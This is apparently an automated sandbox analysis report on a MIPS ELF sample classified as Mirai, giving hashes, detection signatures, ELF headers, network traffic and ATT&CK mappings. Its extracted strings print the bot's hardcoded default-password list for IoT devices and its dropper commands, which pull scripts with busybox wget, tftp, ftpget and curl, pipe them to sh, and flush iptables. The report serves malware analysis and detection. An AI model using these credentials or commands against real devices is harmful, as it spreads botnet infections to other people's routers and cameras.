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Linux Analysis Report
mpsl.elf

Overview

General Information

Sample name:mpsl.elf
Analysis ID:1589582
MD5:6d33181be30e11a85fa795dd16173edc
SHA1:7d06985cc4dc7e91730ffceaa3e8c2c677288570
SHA256:0a9580b7af01f6ec699551521a5cadacc3df4aa0f80cfbe54f93b1681ef34ca6
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1589582
Start date and time:2025-01-12 21:27:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 39s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:mpsl.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
Command:/tmp/mpsl.elf
PID:6249
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • mpsl.elf (PID: 6249, Parent: 6171, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/mpsl.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
mpsl.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6249.1.00007f0ce4400000.00007f0ce4420000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: mpsl.elfReversingLabs: Detection: 31%
      Source: mpsl.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/mpsl.elf (PID: 6249)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: mpsl.elfString found in binary or memory: http:///curl.sh
      Source: mpsl.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
      Source: /tmp/mpsl.elf (PID: 6249)Queries kernel information via 'uname': Jump to behavior
      Source: mpsl.elf, 6249.1.00005597775a4000.000055977764b000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
      Source: mpsl.elf, 6249.1.00005597775a4000.000055977764b000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mipsel
      Source: mpsl.elf, 6249.1.00007ffcc18b9000.00007ffcc18da000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mpsl.elf
      Source: mpsl.elf, 6249.1.00007ffcc18b9000.00007ffcc18da000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
      Source: mpsl.elf, 6249.1.00007ffcc18b9000.00007ffcc18da000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: mpsl.elf, type: SAMPLE
      Source: Yara matchFile source: 6249.1.00007f0ce4400000.00007f0ce4420000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: mpsl.elf, type: SAMPLE
      Source: Yara matchFile source: 6249.1.00007f0ce4400000.00007f0ce4420000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      mpsl.elf32%ReversingLabsLinux.Backdoor.Gafgyt
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.shmpsl.elffalse
        high
        http:///curl.shmpsl.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
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                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                                                  Entropy (8bit):5.5522822267847705
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:mpsl.elf
                                                  File size:136'588 bytes
                                                  MD5:6d33181be30e11a85fa795dd16173edc
                                                  SHA1:7d06985cc4dc7e91730ffceaa3e8c2c677288570
                                                  SHA256:0a9580b7af01f6ec699551521a5cadacc3df4aa0f80cfbe54f93b1681ef34ca6
                                                  SHA512:39967530d974ab09a26fe247bbfb39af418865dde81f54ac5a5d1f23cb42bb58f07b782c399f308ddb7710f2fbe7c9e25eba7bace49673721d474e212bf5d91c
                                                  SSDEEP:1536:d59cDpsDXydOys9d4/zaIFq92UA5O7RKqPQ6Qe9BG4Yowa7O6ncf5Unk/4PoZ5aW:RopKoI42Gq9+O74qf8WnNoiv0nBfXb
                                                  TLSH:A5D3F80ABF600EF7E86FDC3702B90B06258CA45A22E53B763274D938B65A54F59D3C74
                                                  File Content Preview:.ELF....................`.@.4...........4. ...(...............@...@.p...p.....................F...F.,....v..........Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<X..'!.............9

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:MIPS R3000
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:UNIX - System V
                                                  ABI Version:0
                                                  Entry Point Address:0x400260
                                                  Flags:0x1007
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:136068
                                                  Section Header Size:40
                                                  Number of Section Headers:13
                                                  Header String Table Index:12
                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x4000940x940x8c0x00x6AX004
                                                  .textPROGBITS0x4001200x1200x1ce300x00x6AX0016
                                                  .finiPROGBITS0x41cf500x1cf500x5c0x00x6AX004
                                                  .rodataPROGBITS0x41cfb00x1cfb00x2dc00x00x2A0016
                                                  .ctorsPROGBITS0x4600000x200000x80x00x3WA004
                                                  .dtorsPROGBITS0x4600080x200080x80x00x3WA004
                                                  .data.rel.roPROGBITS0x4600140x200140x8c80x00x3WA004
                                                  .dataPROGBITS0x4608e00x208e00x4640x00x3WA0016
                                                  .gotPROGBITS0x460d500x20d500x5dc0x40x10000003WAp0016
                                                  .sbssNOBITS0x46132c0x2132c0x1c0x00x10000003WAp004
                                                  .bssNOBITS0x4613500x2132c0x63640x00x3WA0016
                                                  .shstrtabSTRTAB0x00x2132c0x560x00x0001
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x4000000x4000000x1fd700x1fd705.56920x5R E0x10000.init .text .fini .rodata
                                                  LOAD0x200000x4600000x4600000x132c0x76b44.32830x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Jan 12, 2025 21:28:01.927273989 CET42836443192.168.2.2391.189.91.43
                                                  Jan 12, 2025 21:28:02.951136112 CET4251680192.168.2.23109.202.202.202
                                                  Jan 12, 2025 21:28:16.773345947 CET43928443192.168.2.2391.189.91.42
                                                  Jan 12, 2025 21:28:29.059700966 CET42836443192.168.2.2391.189.91.43
                                                  Jan 12, 2025 21:28:33.155071020 CET4251680192.168.2.23109.202.202.202
                                                  Jan 12, 2025 21:28:57.727621078 CET43928443192.168.2.2391.189.91.42

                                                  System Behavior

                                                  Start time (UTC):20:27:57
                                                  Start date (UTC):12/01/2025
                                                  Path:/tmp/mpsl.elf
                                                  Arguments:/tmp/mpsl.elf
                                                  File size:5773336 bytes
                                                  MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9